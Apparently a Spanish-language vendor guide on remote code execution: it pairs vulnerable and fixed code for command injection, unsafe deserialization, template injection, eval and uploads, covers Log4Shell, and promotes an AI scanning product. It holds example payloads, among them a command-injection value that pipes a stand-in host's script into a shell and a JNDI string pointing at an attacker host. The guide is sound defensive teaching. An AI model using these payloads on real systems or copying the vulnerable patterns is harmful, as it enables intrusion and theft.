Una vulnerabilidad de ejecución remota de código (RCE, por remote code execution) le permite a un atacante correr su propio código o comandos del sistema operativo en tu servidor, por la red, sin ningún acceso legítimo. En casi cualquier modelo de amenazas es el peor escenario: si alguien ejecuta código con los privilegios de tu aplicación, puede leer las credenciales de la base de datos, robar variables de entorno, saltar a servicios internos y dejar persistencia.
En esta guía vemos qué es RCE en la práctica: las causas que la siguen generando, código vulnerable y corregido en varios lenguajes, un caso real (Log4Shell) y cómo detectarla y prevenirla en tu propio código.
Qué es la ejecución remota de código
RCE no es un tipo de bug puntual. Es un impacto: el atacante termina decidiendo qué ejecuta la CPU. Muchas fallas distintas llevan ahí. En el OWASP Top 10 2025 aparece sobre todo en A05 Injection, A08 Software or Data Integrity Failures (deserialización insegura) y A03 Software Supply Chain Failures (componentes vulnerables).
Dos términos que vas a ver seguido:
- RCE vs ACE: arbitrary code execution (ACE) es la capacidad general de ejecutar código arbitrario; RCE significa que se puede disparar de forma remota, por ejemplo con un request HTTP o un mensaje en una cola.
- RCE pre-auth vs post-auth: la pre-auth no necesita login y es la más peligrosa. La post-auth requiere una cuenta, lo que en muchos SaaS equivale a "cualquiera que se registre".
Las causas principales de RCE
1. Command injection
La aplicación arma un comando de shell concatenando input del usuario. El shell después interpreta caracteres como ;, |, && o $( ) como comandos nuevos.
# Python, vulnerable
import os
def ping(host):
os.system("ping -c 1 " + host) # host = "8.8.8.8; curl evil.sh | sh"# Python, corregido
import ipaddress, subprocess
def ping(host):
ipaddress.ip_address(host) # tira ValueError si no es una IP
subprocess.run(["ping", "-c", "1", host], check=True, timeout=5)El fix hace dos cosas: valida el input contra un formato estricto y pasa los argumentos como lista, así ningún shell los interpreta. En Node.js es el mismo patrón:
// Node.js, vulnerable
const { exec } = require('child_process');
app.get('/convert', (req, res) => {
exec(`convert ${req.query.file} out.png`, (err) => res.send('ok'));
});
// Node.js, corregido
const { execFile } = require('child_process');
app.get('/convert', (req, res) => {
const file = path.basename(req.query.file); // sin trucos de path
if (!/^[\w-]+\.(jpg|png)$/.test(file)) return res.sendStatus(400);
execFile('convert', [file, 'out.png'], (err) => res.send('ok'));
});2. Deserialización insegura
Varios formatos de serialización nativos pueden reconstruir objetos arbitrarios, y reconstruir un objeto puede disparar código. Si el atacante controla los bytes serializados, controla qué se ejecuta.
pickleen Python: la propia documentación advierte que nunca hay que deserializar datos de una fuente no confiable, porque un pickle puede llamar cualquier función al cargarse.Marshal.loaden Ruby sobre datos del atacante (por ejemplo, una cookie) tiene el mismo problema, vía gadget chains en las clases cargadas.- YAML: los loaders completos pueden instanciar objetos. PyYAML 6.0 hizo obligatorio el argumento
Loaderenyaml.loady Psych 4 en Ruby hizo queYAML.loadsea seguro por defecto, pero el código viejo y los loaders inseguros explícitos siguen siendo comunes. - La serialización nativa de Java (
ObjectInputStream.readObject) generó muchísimas RCE a través de gadget chains en librerías populares.
# Python, vulnerable
import pickle, yaml
session = pickle.loads(request.cookies["session"])
config = yaml.load(request.data, Loader=yaml.Loader)
# Python, corregido
import json, yaml
session = json.loads(request.cookies["session"]) # más una verificación de firma
config = yaml.safe_load(request.data)# Ruby, vulnerable
prefs = Marshal.load(Base64.decode64(cookies[:prefs]))
# Ruby, corregido
prefs = JSON.parse(cookies.signed[:prefs])// Java, vulnerable
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
Order order = (Order) in.readObject();
// Java, corregido: usá un formato de datos, o como mínimo un filtro allowlist
Order order = objectMapper.readValue(request.getInputStream(), Order.class);
// si no podés evitar la serialización nativa:
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter("com.acme.Order;!*"));3. Server-side template injection (SSTI)
Motores como Jinja2, Twig, Freemarker o ERB son pequeños lenguajes de programación. Si el input del usuario pasa a ser parte del template en vez de una variable, el atacante escribe código. Una prueba rápida es mandar {{7*7}} y ver si la respuesta muestra 49.
# Flask, vulnerable
@app.route("/hello")
def hello():
name = request.args.get("name", "")
return render_template_string(f"<h1>Hola {name}</h1>")
# Flask, corregido: el template es constante, el input es un dato
@app.route("/hello")
def hello():
return render_template_string("<h1>Hola {{ name }}</h1>",
name=request.args.get("name", ""))4. eval y evaluación dinámica de código
eval, exec, new Function, instance_eval en Ruby o assert con strings en PHP convierten datos en código. Aparecen mucho en features de "fórmulas", calculadoras, motores de reglas y herramientas internas armadas a las apuradas.
// JavaScript, vulnerable
const total = eval(req.body.formula); // "require('child_process').execSync('id')"
// JavaScript, corregido: parseá una gramática restringida en vez de ejecutar código
const total = evaluateArithmetic(req.body.formula); // tokenizer que solo acepta dígitos y + - * / ( )5. Uploads en rutas ejecutables
Si un archivo subido queda dentro del web root y el servidor ejecuta archivos según la extensión (setups clásicos de PHP, JSP o CGI), subir shell.php y después pedirlo por URL es una RCE. Cómo se arregla: guardar los uploads fuera del web root o en object storage, generar nombres aleatorios, validar el tipo por contenido y no solo por extensión, y servir los archivos con un content type no ejecutable.
6. Dependencias vulnerables: el caso Log4Shell
Tu código puede estar impecable y aun así entregar una RCE adentro de una librería. El caso más conocido es Log4Shell (CVE-2021-44228), publicado en diciembre de 2021 con CVSS 10.0. Apache Log4j 2 evaluaba lookups JNDI dentro de los strings que logueaba, así que loguear un header como ${jndi:ldap://attacker.example/a} hacía que el servidor cargara código desde un LDAP controlado por el atacante. Según la página de seguridad de Apache Log4j, las versiones afectadas arrancaban en la 2.0-beta9 y el fix para Java 8 en adelante llegó en la 2.15.0. Los CVEs relacionados (CVE-2021-45046, CVE-2021-45105 y CVE-2021-44832) se resolvieron en las versiones siguientes, por eso la mayoría de los equipos se estandarizó en 2.17.1 o superior.
La lección: una RCE puede llegar por una dependencia transitiva que nunca elegiste. Ese es el trabajo del software composition analysis y de tener un inventario como un SBOM, para poder responder "¿estamos afectados?" en minutos y no en días.
Qué hace un atacante después de una RCE
Entender el radio de impacto ayuda a priorizar. Después de una RCE exitosa, lo típico es:
- Leer variables de entorno y archivos de configuración buscando URLs de base de datos, API keys y credenciales cloud.
- Consultar el endpoint de metadata del proveedor cloud para sacar credenciales IAM temporales.
- Robar o cifrar datos, o instalar un minero de cripto.
- Moverse lateralmente a servicios internos que confían en el host comprometido.
- Dejar persistencia: un cron, una SSH key nueva, una imagen de contenedor modificada.
Por eso el mínimo privilegio importa incluso después de arreglar el bug: un proceso que no llega al endpoint de metadata, corre como usuario no root y tiene el filesystem en solo lectura convierte una RCE catastrófica en un incidente contenido.
Cómo detectar vulnerabilidades de ejecución remota de código
Ninguna técnica sola encuentra todas las RCE, así que conviene combinarlas:
- SAST (análisis estático): sigue el input no confiable (parámetros, headers, cookies, payloads de mensajes) hasta sinks peligrosos:
os.system,subprocessconshell=True,exec,eval,pickle.loads,Marshal.load,readObject,render_template_string. Te da archivo y línea antes del merge. Compará enfoques en nuestra guía de herramientas SAST. - SCA: marca dependencias con CVEs de RCE conocidos y te dice a qué versión subir. En SAST vs SCA explicamos por qué necesitás los dos.
- DAST y pentesting: confirman la explotabilidad en un entorno corriendo. Mirá SAST vs DAST y análisis de vulnerabilidades vs pentest para ver cómo encajan.
- Señales en runtime: procesos hijos inesperados del web server, conexiones salientes a hosts desconocidos y archivos nuevos en directorios de la app son indicios fuertes de que algo ya pasó.
El SAST basado en reglas anda bien con los sinks obvios, pero la RCE suele esconderse detrás de wrappers propios: un helper run_command en un archivo de utils, un "plugin loader" que importa módulos por nombre, un job runner que deserializa payloads de Redis. El AI SAST ayuda justamente ahí, porque sigue los datos a través de helpers y razona si el input realmente lo controla un atacante. Por ejemplo, Nurbak se conecta a GitHub, escanea un repositorio con su propio modelo de IA self-hosted (el análisis no manda tu código a OpenAI ni a Anthropic) y reporta vulnerabilidades explotables con archivo y línea, además de CVEs en dependencias vía OSV con las versiones corregidas. Podés encontrar vulnerabilidades en tu código con un escaneo gratis que te muestra completos los 3 hallazgos más importantes.
Checklist para prevenir RCE
- Nada de shell ni de concatenar strings. Usá arrays de argumentos (
subprocess.run([...]),execFile,ProcessBuilder) y validá el input contra allowlists estrictas. - Deserializá datos, no objetos. JSON o protobuf para input no confiable.
yaml.safe_loadyYAML.safe_load. Si no podés evitar la serialización nativa de Java, aplicá unObjectInputFiltercon allowlist. - Los templates son constantes. El input del usuario va como variable, nunca como fuente del template.
- Prohibido eval sobre datos del usuario. Parseá una gramática restringida o usá una librería de expresiones pensada para input no confiable.
- Uploads a la defensiva. Fuera del web root, nombres aleatorios, validación de content type, sin permiso de ejecución.
- Parcheá dependencias de forma continua. Lockfiles, SCA en cada pull request y alertas cuando sale un CVE nuevo para un paquete que ya estás usando.
- Mínimo privilegio en runtime. Contenedores no root, filesystem de solo lectura, egress restringido y nada de credenciales cloud amplias en los hosts de la app.
- Cuidá tus secretos. Una RCE más una key filtrada es peor que cualquiera de las dos por separado. Revisá el historial de git con un secret scanner y rotá lo que aparezca.
RCE vs inyección SQL vs SSRF
Se confunden porque las tres arrancan con input no confiable. La inyección SQL le permite al atacante correr queries en tu base; la RCE le permite correr código en tu host; el SSRF hace que tu servidor mande requests en su nombre. Y se pueden encadenar: algunas bases permiten ejecutar comandos desde SQL, y un SSRF contra el servicio de metadata puede dar credenciales que terminan en ejecución de código en otro lado. A la hora de priorizar, tratá cualquiera de ellas como un posible camino a RCE.
Conclusión
La ejecución remota de código casi nunca es exótica. Sale de un puñado de errores repetibles: comandos de shell armados con strings, deserialización nativa de datos no confiables, templates construidos con input, eval, uploads descuidados y librerías sin parchear. Cada uno tiene un fix conocido. Lo difícil es encontrar todas las instancias en un codebase real y en sus dependencias, y ahí es donde el análisis estático continuo y el SCA se pagan solos. Arrancá con un escaneo para encontrar vulnerabilidades en tu código y arreglá primero los caminos a RCE.
